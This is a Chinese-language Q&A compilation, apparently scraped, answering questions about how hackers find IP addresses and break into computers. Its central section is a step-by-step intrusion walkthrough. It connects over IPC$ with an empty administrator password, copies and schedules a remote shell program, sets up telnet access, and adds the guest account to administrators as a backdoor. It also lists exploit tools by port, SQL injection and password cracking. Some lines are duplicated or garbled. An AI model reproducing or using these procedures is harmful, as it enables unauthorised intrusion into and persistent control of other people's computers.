本文目录一览：
- 1、黑客是怎样查看一个IP地址的呢？我发现在有的人可以查的很细，不知道是怎么做到这个的！
- 2、黑客是怎样知道我的IP地址的
- 3、局域网内网入侵
- 4、黑客入侵网站时，后台地址及用户名密码是怎么弄到的啊？
- 5、我想知道黑客是怎么准确得知他想攻击的电脑的ip地址，或者mac地址的，或者是网络标示的？
- 6、黑客入侵别人电脑使用的是公网IP还是内网IP?如何在自己电脑上查看这种IP?
黑客是怎样查看一个IP地址的呢？我发现在有的人可以查的很细，不知道是怎么做到这个的！
就比如说用PING命令吧！
ping IP
返回值
Pinging 192.168.0.1 with 32 bytes of data:
Reply from 192.168.0.1: bytes=32 time1ms TTL=64
Reply from 192.168.0.1: bytes=32 time1ms TTL=64
Reply from 192.168.0.1: bytes=32 time1ms TTL=64
Reply from 192.168.0.1: bytes=32 time1ms TTL=64
TTL值是判断目标主机操作系统的
TTL=64表示是LINUX
TTL=32表示是Windows 95/98/ME
TTL=128表示是Windows XP/2000/NT
这只是ping命令的一点小知识，至于你说的查的很细。可以用扫描器！
具体的自己找资料吧！
黑客是怎样知道我的IP地址的
知道你的IP地址的渠道太多了,如果不是有意的攻击你都无所谓的,我们的IP地址在很多的网络上是可以显示出来的,只要你的电脑没有安全漏洞,密码不是弱口令,我相信黑客也不是那么好进的,这个问题要看你的计算机系统有没有升级和打补丁。 还有就是你的计算机有没空连接（ps:空连接即：ipc$） 和默认共享？ 如果有的话攻击你的可能性很大。成功率也很高的。攻击的方法是; 用专门的软件，对某个IP段进行扫描，就能对存在漏洞的IP地址进行攻击，如果你曾经受到过黑客攻击，那么只要你上网开机，对方同时在线，就会自动攻击你。最好安装网络防火墙。一般都可以解决上述问题.
局域网内网入侵
我查拉135端口端口说明：135端口主要用于使用RPC（Remote Procedure Call，远程过程调用）协议并提供DCOM（分布式组件对象模型）服务，通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代码；使用DCOM可以通过网络直接进行通信，能够跨包括HTTP协议在内的多种网络传输。
端口漏洞：相信去年很多Windows 2000和Windows XP用户都中了“冲击波”病毒，该病毒就是利用RPC漏洞来攻击计算机的。RPC本身在处理通过TCP/IP的消息交换部分有一个漏洞，该漏洞是由于错误地处理格式不正确的消息造成的。该漏洞会影响到RPC与DCOM之间的一个接口，该接口侦听的端口就是135。
1：用139端口入侵
我们先确定一台存在139端口漏洞的主机。用扫描工具扫描！比如SUPERSCAN这个端口扫描工具。假设现在我们已经得到一台存在139端口漏洞的主机，我们要使用nbtstat -a IP这个命令得到用户的情况！现在我们要做的是与对方计算机进行共享资源的连接。
用到两个NET命令，下面就是这两个命令的使用方法
NET VIEW?
作 用：显示域列表、计算机列表或指定计算机的共享资源列表。?
命令格式：net view [\\computername | /domain[:domainname]]?
参数介绍：?
1键入不带参数的net view显示当前域的计算机列表。?
2\\computername 指定要查看其共享资源的计算机。?
3/domain[:domainname]指定要查看其可用计算机的域?
NET USE?
作用：连接计算机或断开计算机与共享资源的连接，或显示计算机的连接信息。?
命令格式：net use [devicename | *] [\\computername\sharename[\volume]]?
[password | *]] [/user:[domainname\]username] [[/delete] |?
[/persistent:{yes | no}]]?
参数介绍：?
键入不带参数的net use列出网络连接。?
devicename指定要连接到的资源名称或要断开的设备名称。?
\\computername\sharename服务器及共享资源的名称。?
password访问共享资源的密码。?
*提示键入密码。 /user指定进行连接的另外一个用户。?
domainname指定另一个域。?
username指定登录的用户名。?
/home将用户连接到其宿主目录?
/delete取消指定网络连接。?
/persistent控制永久网络连接的使用。?
C:\net use \\IP
C:\net view \\IP
我们已经看到对方共享了他的C，D，E三个盘
我们要做的是使用NBTSTAT命令载入NBT快取.
c:\nbtstat –R 载入NBT快取
c:\nbtstat –c 看有无载入NBT快取
现在我们已经得到的139端口漏洞的主机IP地址和用户名，现在就该是我们进入他计算的时候了，点击开始---查找--计算机，将刚才找到的主机名字输入到上面，选择查找，就可以找到这台电脑了！双击就可以进入，其使用的方法和网上领居的一样。
2：4899端口入侵
用4899过滤器.exe，扫描空口令的机器
3：80入侵
对sp3以前的机器，可以用webdav入侵；
对bbs论坛，可以试试上传漏洞（upfile.exe或dvup_delphi.exe）
可以利用SQL进行注入。（啊D的注入软件）。
4：serv-u入侵(21端口）
对5. 004及以下系统，可用溢出入侵。（serv5004.exe）
对5.1.0.0及以下系统，可用本地提升权限。（servlocal.exe）
对serv-u的MD5加密密码，可以用字典暴破。（crack.vbs）
输入一个被serv-u加密的密码（34位长），通过与字典档（dict.txt）的比较，得到密码
5： 554端口
用real554.exe入侵。
6：6129端口
用DameWare6129.exe入侵。
7. 6129端口
用DameWare6129.exe入侵。
8. 系统漏洞
利用135、445端口，用ms03026、ms03039、ms03049、ms04011漏洞，
进行溢出入侵。
9. 3127等端口
可以利用doom病毒开的端口，用nodoom.exe入侵。（可用mydoomscan.exe查）。
10. 其他入侵
利用shanlu的入侵软件入侵（WINNTAutoAttack.exe）。
经典IPC$入侵
1. C:\net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
这是用"流光"扫到的用户名是administrators，密码为"空"的IP地址(气好到家如果是打算攻击的话，就可以用这样的命令来与127.0.0.1建立一个连
接，因为密码为"空"，所以第一个引号处就不用输入，后面一个双引号里的是用户名
，输入administrators，命令即可成功完成。
2. C:\copy srv.exe \\127.0.0.1\admin$
先复制srv.exe上去，在流光的Tools目录下就有（这里的$是指admin用户的
c:\winnt\system32\，大家还可以使用c$、d$，意思是C盘与D盘，这看你要复制到什么地方去了）。
3. C:\net time \\127.0.0.1
查查时间，发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00，命令成功完成。
4. C:\at \\127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧（这里设置的时间要比主机时间快，不然你怎么启动啊.
5. C:\net time \\127.0.0.1
再查查到时间没有？如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05，那就准备
开始下面的命令。
6. C:\telnet 127.0.0.1 99
这里会用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，但是我们使用的
是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了，但是SRV是一次性的，下次登录还要再激活！所以我们打
算建立一个Telnet服务！这就要用到ntlm了
7.C:\copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上（ntlm.exe也是在《流光》的Tools目录中）。
8. C:\WINNT\system32ntlm
输入ntlm启动（这里的C:\WINNT\system32指的是对方计算机，运行ntlm其实是让这
个程序在对方计算机上运行）。当出现"DONE"的时候，就说明已经启动正常。然后使
用"net start telnet"来开启Telnet服务！
9. Telnet 127.0.0.1，接着输入用户名与密码就进入对方了，操作就像在DOS上操作
一样简单！(然后你想做什么?想做什么就做什么吧,哈哈)
为了以防万一,我们再把guest激活加到管理组
10. C:\net user guest /active:yes
将对方的Guest用户激活
11. C:\net user guest 1234
将Guest的密码改为1234,或者你要设定的密码
12. C:\net localgroup administrators guest /add
将Guest变为Administrator^_^(如果管理员密码更改，guest帐号没改变的话，下次我
们可以用guest再次访问这台计算机)
各个端口的入侵.%20k=5lalaaid=B0100019074
不算太复杂的！
黑客入侵网站时，后台地址及用户名密码是怎么弄到的啊？
一：网站数据库有漏洞。进行爆破
二：网站程序出现漏洞 比如：.adp?id=234 这个地址可以被黑客进行注入入侵。破解数据库的ADMIN用户表。 在使用工具扫描到你的后台。 .登录网站进行提权
三:为了更好的防止黑客入侵.建议多看一点别人的做网站经验.
如果有什么需要.可以给我留言
我想知道黑客是怎么准确得知他想攻击的电脑的ip地址，或者mac地址的，或者是网络标示的？
一般分情况而定，如果是在网吧，局域网攻击的话，就根据机器号来判断了，一般主机都是192.168.0.1，或者192.168.1.1 之类的，根据机器号就可以猜出大概了；
也许是聊天时看谁不爽了，想攻击，在命令行中（运行中输入CMD）输入netstat命令来查看对方的IP，用IP在IP136可以中查到对方的地址和网络类型，聊天必开4000；4001端口，其实用什么QQ飘云版，珊瑚虫版之类的都可以。
还有就是社会工程学，不过一般针对某个个人机器的采取行动还是比较少见的，一般都是大型服务器。
总之，根据不同的情况HACKER会用各种工具实现其目的的，不一而足。
黑客入侵别人电脑使用的是公网IP还是内网IP?如何在自己电脑上查看这种IP?
一般是公网的，因为内网限制较大。在命令提示符里输入ipconfig就可以查询到本机ip，如果显示是10.15或者192.168之类的地址，那么就是内网，反之就是外网